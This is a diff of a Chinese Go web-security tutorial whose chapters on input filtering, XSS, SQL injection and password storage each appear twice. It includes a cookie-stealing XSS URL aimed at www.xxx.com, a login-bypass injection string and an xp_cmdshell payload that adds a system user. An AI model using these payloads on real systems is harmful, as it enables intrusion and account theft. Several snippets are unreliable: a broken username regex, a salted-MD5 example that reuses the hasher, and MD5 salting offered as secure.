上面代码中我们初始化了一个CleanMap的变量当判断获取的name是`astaxie``herry``marry`三个中的一个之后
我们把数据存储到了CleanMap之中这样就可以确保CleanMap["name"]中的数据是合法的从而在代码的其它部分使用它。当然我们还可以在else部分增加非法数据的处理一种可能是再次显示表单并提示错误。但是不要试图为了友好而输出被污染的数据。
上面的方法对于过滤一组已知的合法值的数据很有效,但是对于过滤有一组已知合法字符组成的数据时就没有什么帮助。例如,你可能需要一个用户名只能由字母及数字组成:
r.ParseForm()
username := r.Form.Get("username")
CleanMap := make(map[string]interface{}, 0)
if ok, _ := regexp.MatchString("^[a-zA-Z0-9].$", username); ok {
CleanMap["username"] = username
}
## 总结
数据过滤在Web安全中起到一个基石的作用大多数的安全问题都是由于没有过滤数据和验证数据引起的例如前面小节的CSRF攻击以及接下来将要介绍的XSS攻击、SQL注入等都是没有认真地过滤数据引起的因此我们需要特别重视这部分的内容。
## links
* [目录](<preface.md>)
* 上一节: [预防CSRF攻击](<09.1.md>)
* 下一节: [避免XSS攻击](<09.3.md>)
# 9.2 确保输入过滤
过滤用户数据是Web应用安全的基础。它是验证数据合法性的过程。通过对所有的输入数据进行过滤可以避免恶意数据在程序中被误信或误用。大多数Web应用的漏洞都是因为没有对用户输入的数据进行恰当过滤所引起的。
我们介绍的过滤数据分成三个步骤:
- 1、识别数据搞清楚需要过滤的数据来自于哪里
- 2、过滤数据弄明白我们需要什么样的数据
- 3、区分已过滤及被污染数据如果存在攻击数据那么保证过滤之后可以让我们使用更安全的数据
## 识别数据
“识别数据”作为第一步是因为在你不知道“数据是什么,它来自于哪里”的前提下,你也就不能正确地过滤它。这里的数据是指所有源自非代码内部提供的数据。例如:所有来自客户端的数据,但客户端并不是唯一的外部数据源,数据库和第三方提供的接口数据等也可以是外部数据源。
由用户输入的数据我们通过Go非常容易识别Go通过`r.ParseForm`之后把用户POST和GET的数据全部放在了`r.Form`里面。其它的输入要难识别得多,例如,`r.Header`中的很多元素是由客户端所操纵的。常常很难确认其中的哪些元素组成了输入,所以,最好的方法是把里面所有的数据都看成是用户输入。(例如`r.Header.Get("Accept-Charset")`这样的也看做是用户输入,虽然这些大多数是浏览器操纵的)
## 过滤数据
在知道数据来源之后,就可以过滤它了。过滤是一个有点正式的术语,它在平时表述中有很多同义词,如验证、清洁及净化。尽管这些术语表面意义不同,但它们都是指的同一个处理:防止非法数据进入你的应用。
过滤数据有很多种方法其中有一些安全性较差。最好的方法是把过滤看成是一个检查的过程在你使用数据之前都检查一下看它们是否是符合合法数据的要求。而且不要试图好心地去纠正非法数据而要让用户按你制定的规则去输入数据。历史证明了试图纠正非法数据往往会导致安全漏洞。这里举个例子“最近建设银行系统升级之后如果密码后面两位是0只要输入前面四位就能登录系统”这是一个非常严重的漏洞。
过滤数据主要采用如下一些库来操作:
- strconv包下面的字符串转化相关函数因为从Request中的`r.Form`返回的是字符串,而有些时候我们需要将之转化成整/浮点数,`Atoi``ParseBool``ParseFloat``ParseInt`等函数就可以派上用场了。
- string包下面的一些过滤函数`Trim``ToLower``ToTitle`等函数,能够帮助我们按照指定的格式获取信息。
- regexp包用来处理一些复杂的需求例如判定输入是否是Email、生日之类。
过滤数据除了检查验证之外,在特殊时候,还可以采用白名单。即假定你正在检查的数据都是非法的,除非能证明它是合法的。使用这个方法,如果出现错误,只会导致把合法的数据当成是非法的,而不会是相反,尽管我们不想犯任何错误,但这样总比把非法数据当成合法数据要安全得多。
## 区分过滤数据
如果完成了上面的两步数据过滤的工作就基本完成了但是在编写Web应用的时候我们还需要区分已过滤和被污染数据因为这样可以保证过滤数据的完整性而不影响输入的数据。我们约定把所有经过过滤的数据放入一个叫全局的Map变量中(CleanMap)。这时需要用两个重要的步骤来防止被污染数据的注入:
- 每个请求都要初始化CleanMap为一个空Map。
- 加入检查及阻止来自外部数据源的变量命名为CleanMap。
接下来,让我们通过一个例子来巩固这些概念,请看下面这个表单
<form action="/whoami" method="POST">
我是谁:
<select name="name">
<option value="astaxie">astaxie</option>
<option value="herry">herry</option>
<option value="marry">marry</option>
</select>
<input type="submit" />
</form>
在处理这个表单的编程逻辑中非常容易犯的错误是认为只能提交三个选择中的一个。其实攻击者可以模拟POST操作递交`name=attack`这样的数据,所以在此时我们需要做类似白名单的处理
r.ParseForm()
name := r.Form.Get("name")
CleanMap := make(map[string]interface{}, 0)
if name == "astaxie" || name == "herry" || name == "marry" {
CleanMap["name"] = name
}
上面代码中我们初始化了一个CleanMap的变量当判断获取的name是`astaxie``herry``marry`三个中的一个之后
我们把数据存储到了CleanMap之中这样就可以确保CleanMap["name"]中的数据是合法的从而在代码的其它部分使用它。当然我们还可以在else部分增加非法数据的处理一种可能是再次显示表单并提示错误。但是不要试图为了友好而输出被污染的数据。
上面的方法对于过滤一组已知的合法值的数据很有效,但是对于过滤有一组已知合法字符组成的数据时就没有什么帮助。例如,你可能需要一个用户名只能由字母及数字组成:
r.ParseForm()
username := r.Form.Get("username")
CleanMap := make(map[string]interface{}, 0)
if ok, _ := regexp.MatchString("^[a-zA-Z0-9].$", username); ok {
CleanMap["username"] = username
}
## 总结
数据过滤在Web安全中起到一个基石的作用大多数的安全问题都是由于没有过滤数据和验证数据引起的例如前面小节的CSRF攻击以及接下来将要介绍的XSS攻击、SQL注入等都是没有认真地过滤数据引起的因此我们需要特别重视这部分的内容。
## links
* [目录](<preface.md>)
* 上一节: [预防CSRF攻击](<09.1.md>)
* 下一节: [避免XSS攻击](<09.3.md>)

104
09.3.md → ebook/09.3.md Executable file → Normal file
View File

@@ -1,52 +1,52 @@
# 9.3 避免XSS攻击
随着互联网技术的发展现在的Web应用都含有大量的动态内容以提高用户体验。所谓动态内容就是应用程序能够根据用户环境和用户请求输出相应的内容。动态站点会受到一种名为“跨站脚本攻击”Cross Site Scripting, 安全专家们通常将其缩写成 XSS的威胁而静态站点则完全不受其影响。
## 什么是XSS
XSS攻击跨站脚本攻击(Cross-Site Scripting),为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆故将跨站脚本攻击缩写为XSS。XSS是一种常见的web安全漏洞它允许攻击者将恶意代码植入到提供给其它用户使用的页面中。不同于大多数攻击(一般只涉及攻击者和受害者)XSS涉及到三方即攻击者、客户端与Web应用。XSS的攻击目标是为了盗取存储在客户端的cookie或者其他网站用于识别客户端身份的敏感信息。一旦获取到合法用户的信息后攻击者甚至可以假冒合法用户与网站进行交互。
XSS通常可以分为两大类一类是存储型XSS主要出现在让用户输入数据供其他浏览此页的用户进行查看的地方包括留言、评论、博客日志和各类表单等。应用程序从数据库中查询数据在页面中显示出来攻击者在相关页面输入恶意的脚本数据后用户浏览此类页面时就可能受到攻击。这个流程简单可以描述为:恶意用户的Html输入Web程序->进入数据库->Web程序->用户浏览器。另一类是反射型XSS主要做法是将脚本代码加入URL地址的请求参数里请求参数进入程序后在页面直接输出用户点击类似的恶意链接就可能受到攻击。
XSS目前主要的手段和目的如下
- 盗用cookie获取敏感信息。
- 利用植入Flash通过crossdomain权限设置进一步获取更高权限或者利用Java等得到类似的操作。
- 利用iframe、frame、XMLHttpRequest或上述Flash等方式被攻击者用户的身份执行一些管理动作或执行一些如:发微博、加好友、发私信等常规操作前段时间新浪微博就遭遇过一次XSS。
- 利用可被攻击的域受到其他域信任的特点,以受信任来源的身份请求一些平时不允许的操作,如进行不当的投票活动。
- 在访问量极大的一些页面上的XSS可以攻击一些小型网站实现DDoS攻击的效果
## XSS的原理
Web应用未对用户提交请求的数据做充分的检查过滤允许用户在提交的数据中掺入HTML代码(最主要的是“>”、“<”)并将未经转义的恶意代码输出到第三方用户的浏览器解释执行是导致XSS漏洞的产生原因。
接下来以反射性XSS举例说明XSS的过程现在有一个网站根据参数输出用户的名称例如访问url`http://127.0.0.1/?name=astaxie`,就会在浏览器输出如下信息:
hello astaxie
如果我们传递这样的url`http://127.0.0.1/?name=&#60;script&#62;alert(&#39;astaxie,xss&#39;)&#60;/script&#62;`,这时你就会发现浏览器跳出一个弹出框这说明站点已经存在了XSS漏洞。那么恶意用户是如何盗取Cookie的呢与上类似如下这样的url`http://127.0.0.1/?name=&#60;script&#62;document.location.href='http://www.xxx.com/cookie?'+document.cookie&#60;/script&#62;`这样就可以把当前的cookie发送到指定的站点www.xxx.com。你也放会说这样的URL一看就有问题怎么会有人点击是的这类的URL会让人怀疑但如果使用短网址服务将之缩短你还看得出来么攻击者将缩短过后的url通过某些途径传播开来不明真相的用户一旦点击了这样的url相应cookie数据就会被发送事先设定好的站点这样子就盗得了用户的cookie信息然后就可以利用Websleuth之类的工具来检查是否能盗取那个用户的账户。
更加详细的关于XSS的分析大家可以参考这篇叫做《[新浪微博XSS事件分析](http://www.rising.com.cn/newsletter/news/2011-08-18/9621.html)》的文章
## 如何预防XSS
答案很简单坚决不要相信用户的任何输入并过滤掉输入中的所有特殊字符。这样就能消灭绝大部分的XSS攻击。
目前防御XSS主要有如下几种方式
- 过滤特殊字符
避免XSS的方法之一主要是将用户所提供的内容进行过滤Go语言提供了HTML的过滤函数
text/template包下面的HTMLEscapeString、JSEscapeString等函数
- 使用HTTP头指定类型
`w.Header().Set("Content-Type","text/javascript")`
这样就可以让浏览器解析javascript代码而不会是html输出。
## 总结
XSS漏洞是相当有危害的在开发Web应用的时候一定要记住过滤数据特别是在输出到客户端之前这是现在行之有效的防止XSS的手段。
## links
* [目录](<preface.md>)
* 上一节: [确保输入过滤](<09.2.md>)
* 下一节: [避免SQL注入](<09.4.md>)
# 9.3 避免XSS攻击
随着互联网技术的发展现在的Web应用都含有大量的动态内容以提高用户体验。所谓动态内容就是应用程序能够根据用户环境和用户请求输出相应的内容。动态站点会受到一种名为“跨站脚本攻击”Cross Site Scripting, 安全专家们通常将其缩写成 XSS的威胁而静态站点则完全不受其影响。
## 什么是XSS
XSS攻击跨站脚本攻击(Cross-Site Scripting),为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆故将跨站脚本攻击缩写为XSS。XSS是一种常见的web安全漏洞它允许攻击者将恶意代码植入到提供给其它用户使用的页面中。不同于大多数攻击(一般只涉及攻击者和受害者)XSS涉及到三方即攻击者、客户端与Web应用。XSS的攻击目标是为了盗取存储在客户端的cookie或者其他网站用于识别客户端身份的敏感信息。一旦获取到合法用户的信息后攻击者甚至可以假冒合法用户与网站进行交互。
XSS通常可以分为两大类一类是存储型XSS主要出现在让用户输入数据供其他浏览此页的用户进行查看的地方包括留言、评论、博客日志和各类表单等。应用程序从数据库中查询数据在页面中显示出来攻击者在相关页面输入恶意的脚本数据后用户浏览此类页面时就可能受到攻击。这个流程简单可以描述为:恶意用户的Html输入Web程序->进入数据库->Web程序->用户浏览器。另一类是反射型XSS主要做法是将脚本代码加入URL地址的请求参数里请求参数进入程序后在页面直接输出用户点击类似的恶意链接就可能受到攻击。
XSS目前主要的手段和目的如下
- 盗用cookie获取敏感信息。
- 利用植入Flash通过crossdomain权限设置进一步获取更高权限或者利用Java等得到类似的操作。
- 利用iframe、frame、XMLHttpRequest或上述Flash等方式被攻击者用户的身份执行一些管理动作或执行一些如:发微博、加好友、发私信等常规操作前段时间新浪微博就遭遇过一次XSS。
- 利用可被攻击的域受到其他域信任的特点,以受信任来源的身份请求一些平时不允许的操作,如进行不当的投票活动。
- 在访问量极大的一些页面上的XSS可以攻击一些小型网站实现DDoS攻击的效果
## XSS的原理
Web应用未对用户提交请求的数据做充分的检查过滤允许用户在提交的数据中掺入HTML代码(最主要的是“>”、“<”)并将未经转义的恶意代码输出到第三方用户的浏览器解释执行是导致XSS漏洞的产生原因。
接下来以反射性XSS举例说明XSS的过程现在有一个网站根据参数输出用户的名称例如访问url`http://127.0.0.1/?name=astaxie`,就会在浏览器输出如下信息:
hello astaxie
如果我们传递这样的url`http://127.0.0.1/?name=&#60;script&#62;alert(&#39;astaxie,xss&#39;)&#60;/script&#62;`,这时你就会发现浏览器跳出一个弹出框这说明站点已经存在了XSS漏洞。那么恶意用户是如何盗取Cookie的呢与上类似如下这样的url`http://127.0.0.1/?name=&#60;script&#62;document.location.href='http://www.xxx.com/cookie?'+document.cookie&#60;/script&#62;`这样就可以把当前的cookie发送到指定的站点www.xxx.com。你也放会说这样的URL一看就有问题怎么会有人点击是的这类的URL会让人怀疑但如果使用短网址服务将之缩短你还看得出来么攻击者将缩短过后的url通过某些途径传播开来不明真相的用户一旦点击了这样的url相应cookie数据就会被发送事先设定好的站点这样子就盗得了用户的cookie信息然后就可以利用Websleuth之类的工具来检查是否能盗取那个用户的账户。
更加详细的关于XSS的分析大家可以参考这篇叫做《[新浪微博XSS事件分析](http://www.rising.com.cn/newsletter/news/2011-08-18/9621.html)》的文章
## 如何预防XSS
答案很简单坚决不要相信用户的任何输入并过滤掉输入中的所有特殊字符。这样就能消灭绝大部分的XSS攻击。
目前防御XSS主要有如下几种方式
- 过滤特殊字符
避免XSS的方法之一主要是将用户所提供的内容进行过滤Go语言提供了HTML的过滤函数
text/template包下面的HTMLEscapeString、JSEscapeString等函数
- 使用HTTP头指定类型
`w.Header().Set("Content-Type","text/javascript")`
这样就可以让浏览器解析javascript代码而不会是html输出。
## 总结
XSS漏洞是相当有危害的在开发Web应用的时候一定要记住过滤数据特别是在输出到客户端之前这是现在行之有效的防止XSS的手段。
## links
* [目录](<preface.md>)
* 上一节: [确保输入过滤](<09.2.md>)
* 下一节: [避免SQL注入](<09.4.md>)

138
09.4.md → ebook/09.4.md Executable file → Normal file
View File

@@ -1,69 +1,69 @@
# 9.4 避免SQL注入
## 什么是SQL注入
SQL注入攻击SQL Injection简称注入攻击是Web开发中最常见的一种安全漏洞。可以用它来从数据库获取敏感信息或者利用数据库的特性执行添加用户导出文件等一系列恶意操作甚至有可能获取数据库乃至系统用户最高权限。
而造成SQL注入的原因是因为程序没有有效过滤用户的输入使攻击者成功的向服务器提交恶意的SQL查询代码程序在接收后错误的将攻击者的输入作为查询语句的一部分执行导致原始的查询逻辑被改变额外的执行了攻击者精心构造的恶意代码。
## SQL注入实例
很多Web开发者没有意识到SQL查询是可以被篡改的从而把SQL查询当作可信任的命令。殊不知SQL查询是可以绕开访问控制从而绕过身份验证和权限检查的。更有甚者有可能通过SQL查询去运行主机系统级的命令。
下面将通过一些真实的例子来详细讲解SQL注入的方式。
考虑以下简单的登录表单:
<form action="/login" method="POST">
<p>Username: <input type="text" name="username" /></p>
<p>Password: <input type="password" name="password" /></p>
<p><input type="submit" value="登陆" /></p>
</form>
我们的处理里面的SQL可能是这样的
username:=r.Form.Get("username")
password:=r.Form.Get("password")
sql:="SELECT * FROM user WHERE username='"+username+"' AND password='"+password+"'"
如果用户的输入的用户名如下,密码任意
myuser' or 'foo' = 'foo' --
那么我们的SQL变成了如下所示
SELECT * FROM user WHERE username='myuser' or 'foo'=='foo' --'' AND password='xxx'
在SQL里面`--`是注释标记,所以查询语句会在此中断。这就让攻击者在不知道任何合法用户名和密码的情况下成功登录了。
对于MSSQL还有更加危险的一种SQL注入就是控制系统下面这个可怕的例子将演示如何在某些版本的MSSQL数据库上执行系统命令。
sql:="SELECT * FROM products WHERE name LIKE '%"+prod+"%'"
Db.Exec(sql)
如果攻击提交`a%' exec master..xp_cmdshell 'net user test testpass /ADD' --`作为变量 prod的值那么sql将会变成
sql:="SELECT * FROM products WHERE name LIKE '%a%' exec master..xp_cmdshell 'net user test testpass /ADD'--%'"
MSSQL服务器会执行这条SQL语句包括它后面那个用于向系统添加新用户的命令。如果这个程序是以sa运行而 MSSQLSERVER服务又有足够的权限的话攻击者就可以获得一个系统帐号来访问主机了。
>虽然以上的例子是针对某一特定的数据库系统的,但是这并不代表不能对其它数据库系统实施类似的攻击。针对这种安全漏洞,只要使用不同方法,各种数据库都有可能遭殃。
## 如何预防SQL注入
也许你会说攻击者要知道数据库结构的信息才能实施SQL注入攻击。确实如此但没人能保证攻击者一定拿不到这些信息一旦他们拿到了数据库就存在泄露的危险。如果你在用开放源代码的软件包来访问数据库比如论坛程序攻击者就很容易得到相关的代码。如果这些代码设计不良的话风险就更大了。目前Discuz、phpwind、phpcms等这些流行的开源程序都有被SQL注入攻击的先例。
这些攻击总是发生在安全性不高的代码上。所以,永远不要信任外界输入的数据,特别是来自于用户的数据,包括选择框、表单隐藏域和 cookie。就如上面的第一个例子那样就算是正常的查询也有可能造成灾难。
SQL注入攻击的危害这么大那么该如何来防治呢?下面这些建议或许对防治SQL注入有一定的帮助。
1. 严格限制Web应用的数据库的操作权限给此用户提供仅仅能够满足其工作的最低权限从而最大限度的减少注入攻击对数据库的危害。
2. 检查输入的数据是否具有所期望的数据格式严格限制变量的类型例如使用regexp包进行一些匹配处理或者使用strconv包对字符串转化成其他基本类型的数据进行判断。
3. 对进入数据库的特殊字符('"\尖括号&*;等进行转义处理或编码转换。Go 的`text/template`包里面的`HTMLEscapeString`函数可以对字符串进行转义处理。
4. 所有的查询语句建议使用数据库提供的参数化查询接口参数化的语句使用参数而不是将用户输入变量嵌入到SQL语句中即不要直接拼接SQL语句。例如使用`database/sql`里面的查询函数`Prepare``Query`,或者`Exec(query string, args ...interface{})`
5. 在应用发布之前建议使用专业的SQL注入检测工具进行检测以及时修补被发现的SQL注入漏洞。网上有很多这方面的开源工具例如sqlmap、SQLninja等。
6. 避免网站打印出SQL错误信息比如类型错误、字段不匹配等把代码里的SQL语句暴露出来以防止攻击者利用这些错误信息进行SQL注入。
## 总结
通过上面的示例我们可以知道SQL注入是危害相当大的安全漏洞。所以对于我们平常编写的Web应用应该对于每一个小细节都要非常重视细节决定命运生活如此编写Web应用也是这样。
## links
* [目录](<preface.md>)
* 上一节: [避免XSS攻击](<09.3.md>)
* 下一节: [存储密码](<09.5.md>)
# 9.4 避免SQL注入
## 什么是SQL注入
SQL注入攻击SQL Injection简称注入攻击是Web开发中最常见的一种安全漏洞。可以用它来从数据库获取敏感信息或者利用数据库的特性执行添加用户导出文件等一系列恶意操作甚至有可能获取数据库乃至系统用户最高权限。
而造成SQL注入的原因是因为程序没有有效过滤用户的输入使攻击者成功的向服务器提交恶意的SQL查询代码程序在接收后错误的将攻击者的输入作为查询语句的一部分执行导致原始的查询逻辑被改变额外的执行了攻击者精心构造的恶意代码。
## SQL注入实例
很多Web开发者没有意识到SQL查询是可以被篡改的从而把SQL查询当作可信任的命令。殊不知SQL查询是可以绕开访问控制从而绕过身份验证和权限检查的。更有甚者有可能通过SQL查询去运行主机系统级的命令。
下面将通过一些真实的例子来详细讲解SQL注入的方式。
考虑以下简单的登录表单:
<form action="/login" method="POST">
<p>Username: <input type="text" name="username" /></p>
<p>Password: <input type="password" name="password" /></p>
<p><input type="submit" value="登陆" /></p>
</form>
我们的处理里面的SQL可能是这样的
username:=r.Form.Get("username")
password:=r.Form.Get("password")
sql:="SELECT * FROM user WHERE username='"+username+"' AND password='"+password+"'"
如果用户的输入的用户名如下,密码任意
myuser' or 'foo' = 'foo' --
那么我们的SQL变成了如下所示
SELECT * FROM user WHERE username='myuser' or 'foo'=='foo' --'' AND password='xxx'
在SQL里面`--`是注释标记,所以查询语句会在此中断。这就让攻击者在不知道任何合法用户名和密码的情况下成功登录了。
对于MSSQL还有更加危险的一种SQL注入就是控制系统下面这个可怕的例子将演示如何在某些版本的MSSQL数据库上执行系统命令。
sql:="SELECT * FROM products WHERE name LIKE '%"+prod+"%'"
Db.Exec(sql)
如果攻击提交`a%' exec master..xp_cmdshell 'net user test testpass /ADD' --`作为变量 prod的值那么sql将会变成
sql:="SELECT * FROM products WHERE name LIKE '%a%' exec master..xp_cmdshell 'net user test testpass /ADD'--%'"
MSSQL服务器会执行这条SQL语句包括它后面那个用于向系统添加新用户的命令。如果这个程序是以sa运行而 MSSQLSERVER服务又有足够的权限的话攻击者就可以获得一个系统帐号来访问主机了。
>虽然以上的例子是针对某一特定的数据库系统的,但是这并不代表不能对其它数据库系统实施类似的攻击。针对这种安全漏洞,只要使用不同方法,各种数据库都有可能遭殃。
## 如何预防SQL注入
也许你会说攻击者要知道数据库结构的信息才能实施SQL注入攻击。确实如此但没人能保证攻击者一定拿不到这些信息一旦他们拿到了数据库就存在泄露的危险。如果你在用开放源代码的软件包来访问数据库比如论坛程序攻击者就很容易得到相关的代码。如果这些代码设计不良的话风险就更大了。目前Discuz、phpwind、phpcms等这些流行的开源程序都有被SQL注入攻击的先例。
这些攻击总是发生在安全性不高的代码上。所以,永远不要信任外界输入的数据,特别是来自于用户的数据,包括选择框、表单隐藏域和 cookie。就如上面的第一个例子那样就算是正常的查询也有可能造成灾难。
SQL注入攻击的危害这么大那么该如何来防治呢?下面这些建议或许对防治SQL注入有一定的帮助。
1. 严格限制Web应用的数据库的操作权限给此用户提供仅仅能够满足其工作的最低权限从而最大限度的减少注入攻击对数据库的危害。
2. 检查输入的数据是否具有所期望的数据格式严格限制变量的类型例如使用regexp包进行一些匹配处理或者使用strconv包对字符串转化成其他基本类型的数据进行判断。
3. 对进入数据库的特殊字符('"\尖括号&*;等进行转义处理或编码转换。Go 的`text/template`包里面的`HTMLEscapeString`函数可以对字符串进行转义处理。
4. 所有的查询语句建议使用数据库提供的参数化查询接口参数化的语句使用参数而不是将用户输入变量嵌入到SQL语句中即不要直接拼接SQL语句。例如使用`database/sql`里面的查询函数`Prepare``Query`,或者`Exec(query string, args ...interface{})`
5. 在应用发布之前建议使用专业的SQL注入检测工具进行检测以及时修补被发现的SQL注入漏洞。网上有很多这方面的开源工具例如sqlmap、SQLninja等。
6. 避免网站打印出SQL错误信息比如类型错误、字段不匹配等把代码里的SQL语句暴露出来以防止攻击者利用这些错误信息进行SQL注入。
## 总结
通过上面的示例我们可以知道SQL注入是危害相当大的安全漏洞。所以对于我们平常编写的Web应用应该对于每一个小细节都要非常重视细节决定命运生活如此编写Web应用也是这样。
## links
* [目录](<preface.md>)
* 上一节: [避免XSS攻击](<09.3.md>)
* 下一节: [存储密码](<09.5.md>)

178
09.5.md → ebook/09.5.md Executable file → Normal file
View File

@@ -1,89 +1,89 @@
# 9.5 存储密码
过去一段时间以来, 许多的网站遭遇用户密码数据泄露事件, 这其中包括顶级的互联网企业Linkedin, 国内诸如CSDN该事件横扫整个国内互联网随后又爆出多玩游戏800万用户资料被泄露另有传言人人网、开心网、天涯社区、世纪佳缘、百合网等社区都有可能成为黑客下一个目标。层出不穷的类似事件给用户的网上生活造成巨大的影响人人自危因为人们往往习惯在不同网站使用相同的密码所以一家“暴库”全部遭殃。
那么我们作为一个Web应用开发者在选择密码存储方案时, 容易掉入哪些陷阱, 以及如何避免这些陷阱?
## 普通方案
目前用的最多的密码存储方案是将明文密码做单向哈希后存储,单向哈希算法有一个特征:无法通过哈希后的摘要(digest)恢复原始数据这也是“单向”二字的来源。常用的单向哈希算法包括SHA-256, SHA-1, MD5等。
Go语言对这三种加密算法的实现如下所示
//import "crypto/sha256"
h := sha256.New()
io.WriteString(h, "His money is twice tainted: 'taint yours and 'taint mine.")
fmt.Printf("% x", h.Sum(nil))
//import "crypto/sha1"
h := sha1.New()
io.WriteString(h, "His money is twice tainted: 'taint yours and 'taint mine.")
fmt.Printf("% x", h.Sum(nil))
//import "crypto/md5"
h := md5.New()
io.WriteString(h, "需要加密的密码")
fmt.Printf("%x", h.Sum(nil))
单向哈希有两个特性:
- 1同一个密码进行单向哈希得到的总是唯一确定的摘要。
- 2计算速度快。随着技术进步一秒钟能够完成数十亿次单向哈希计算。
结合上面两个特点,考虑到多数人所使用的密码为常见的组合,攻击者可以将所有密码的常见组合进行单向哈希,得到一个摘要组合, 然后与数据库中的摘要进行比对即可获得对应的密码。这个摘要组合也被称为`rainbow table`
因此通过单向加密之后存储的数据,和明文存储没有多大区别。因此,一旦网站的数据库泄露,所有用户的密码本身就大白于天下。
## 进阶方案
通过上面介绍我们知道黑客可以用`rainbow table`来破解哈希后的密码,很大程度上是因为加密时使用的哈希算法是公开的。如果黑客不知道加密的哈希算法是什么,那他也就无从下手了。
一个直接的解决办法是,自己设计一个哈希算法。然而,一个好的哈希算法是很难设计的——既要避免碰撞,又不能有明显的规律,做到这两点要比想象中的要困难很多。因此实际应用中更多的是利用已有的哈希算法进行多次哈希。
但是单纯的多次哈希,依然阻挡不住黑客。两次 MD5、三次 MD5之类的方法我们能想到黑客自然也能想到。特别是对于一些开源代码这样哈希更是相当于直接把算法告诉了黑客。
没有攻不破的盾,但也没有折不断的矛。现在安全性比较好的网站,都会用一种叫做“加盐”的方式来存储密码,也就是常说的 “salt”。他们通常的做法是先将用户输入的密码进行一次MD5或其它哈希算法加密将得到的 MD5 值前后加上一些只有管理员自己知道的随机串再进行一次MD5加密。这个随机串中可以包括某些固定的串也可以包括用户名用来保证每个用户加密使用的密钥都不一样
//import "crypto/md5"
//假设用户名abc密码123456
h := md5.New()
io.WriteString(h, "需要加密的密码")
//pwmd5等于e10adc3949ba59abbe56e057f20f883e
pwmd5 :=fmt.Sprintf("%x", h.Sum(nil))
//指定两个 salt salt1 = @#$% salt2 = ^&*()
salt1 := "@#$%"
salt2 := "^&*()"
//salt1+用户名+salt2+MD5拼接
io.WriteString(h, salt1)
io.WriteString(h, "abc")
io.WriteString(h, salt2)
io.WriteString(h, pwmd5)
last :=fmt.Sprintf("%x", h.Sum(nil))
在两个salt没有泄露的情况下黑客如果拿到的是最后这个加密串就几乎不可能推算出原始的密码是什么了。
## 专家方案
上面的进阶方案在几年前也许是足够安全的方案,因为攻击者没有足够的资源建立这么多的`rainbow table`。 但是,时至今日,因为并行计算能力的提升,这种攻击已经完全可行。
怎么解决这个问题呢?只要时间与资源允许,没有破译不了的密码,所以方案是:故意增加密码计算所需耗费的资源和时间,使得任何人都不可获得足够的资源建立所需的`rainbow table`
这类方案有一个特点,算法中都有个因子,用于指明计算密码摘要所需要的资源和时间,也就是计算强度。计算强度越大,攻击者建立`rainbow table`越困难,以至于不可继续。
这里推荐`scrypt`方案scrypt是由著名的FreeBSD黑客Colin Percival为他的备份服务Tarsnap开发的。
目前Go语言里面支持的库http://code.google.com/p/go/source/browse?repo=crypto#hg%2Fscrypt
dk := scrypt.Key([]byte("some password"), []byte(salt), 16384, 8, 1, 32)
通过上面的的方法可以获取唯一的相应的密码值,这是目前为止最难破解的。
## 总结
看到这里,如果你产生了危机感,那么就行动起来:
- 1如果你是普通用户那么我们建议使用LastPass进行密码存储和生成对不同的网站使用不同的密码
- 2如果你是开发人员 那么我们强烈建议你采用专家方案进行密码存储。
## links
* [目录](<preface.md>)
* 上一节: [确保输入过滤](<09.4.md>)
* 下一节: [加密和解密数据](<09.6.md>)
# 9.5 存储密码
过去一段时间以来, 许多的网站遭遇用户密码数据泄露事件, 这其中包括顶级的互联网企业Linkedin, 国内诸如CSDN该事件横扫整个国内互联网随后又爆出多玩游戏800万用户资料被泄露另有传言人人网、开心网、天涯社区、世纪佳缘、百合网等社区都有可能成为黑客下一个目标。层出不穷的类似事件给用户的网上生活造成巨大的影响人人自危因为人们往往习惯在不同网站使用相同的密码所以一家“暴库”全部遭殃。
那么我们作为一个Web应用开发者在选择密码存储方案时, 容易掉入哪些陷阱, 以及如何避免这些陷阱?
## 普通方案
目前用的最多的密码存储方案是将明文密码做单向哈希后存储,单向哈希算法有一个特征:无法通过哈希后的摘要(digest)恢复原始数据这也是“单向”二字的来源。常用的单向哈希算法包括SHA-256, SHA-1, MD5等。
Go语言对这三种加密算法的实现如下所示
//import "crypto/sha256"
h := sha256.New()
io.WriteString(h, "His money is twice tainted: 'taint yours and 'taint mine.")
fmt.Printf("% x", h.Sum(nil))
//import "crypto/sha1"
h := sha1.New()
io.WriteString(h, "His money is twice tainted: 'taint yours and 'taint mine.")
fmt.Printf("% x", h.Sum(nil))
//import "crypto/md5"
h := md5.New()
io.WriteString(h, "需要加密的密码")
fmt.Printf("%x", h.Sum(nil))
单向哈希有两个特性:
- 1同一个密码进行单向哈希得到的总是唯一确定的摘要。
- 2计算速度快。随着技术进步一秒钟能够完成数十亿次单向哈希计算。
结合上面两个特点,考虑到多数人所使用的密码为常见的组合,攻击者可以将所有密码的常见组合进行单向哈希,得到一个摘要组合, 然后与数据库中的摘要进行比对即可获得对应的密码。这个摘要组合也被称为`rainbow table`
因此通过单向加密之后存储的数据,和明文存储没有多大区别。因此,一旦网站的数据库泄露,所有用户的密码本身就大白于天下。
## 进阶方案
通过上面介绍我们知道黑客可以用`rainbow table`来破解哈希后的密码,很大程度上是因为加密时使用的哈希算法是公开的。如果黑客不知道加密的哈希算法是什么,那他也就无从下手了。
一个直接的解决办法是,自己设计一个哈希算法。然而,一个好的哈希算法是很难设计的——既要避免碰撞,又不能有明显的规律,做到这两点要比想象中的要困难很多。因此实际应用中更多的是利用已有的哈希算法进行多次哈希。
但是单纯的多次哈希,依然阻挡不住黑客。两次 MD5、三次 MD5之类的方法我们能想到黑客自然也能想到。特别是对于一些开源代码这样哈希更是相当于直接把算法告诉了黑客。
没有攻不破的盾,但也没有折不断的矛。现在安全性比较好的网站,都会用一种叫做“加盐”的方式来存储密码,也就是常说的 “salt”。他们通常的做法是先将用户输入的密码进行一次MD5或其它哈希算法加密将得到的 MD5 值前后加上一些只有管理员自己知道的随机串再进行一次MD5加密。这个随机串中可以包括某些固定的串也可以包括用户名用来保证每个用户加密使用的密钥都不一样
//import "crypto/md5"
//假设用户名abc密码123456
h := md5.New()
io.WriteString(h, "需要加密的密码")
//pwmd5等于e10adc3949ba59abbe56e057f20f883e
pwmd5 :=fmt.Sprintf("%x", h.Sum(nil))
//指定两个 salt salt1 = @#$% salt2 = ^&*()
salt1 := "@#$%"
salt2 := "^&*()"
//salt1+用户名+salt2+MD5拼接
io.WriteString(h, salt1)
io.WriteString(h, "abc")
io.WriteString(h, salt2)
io.WriteString(h, pwmd5)
last :=fmt.Sprintf("%x", h.Sum(nil))
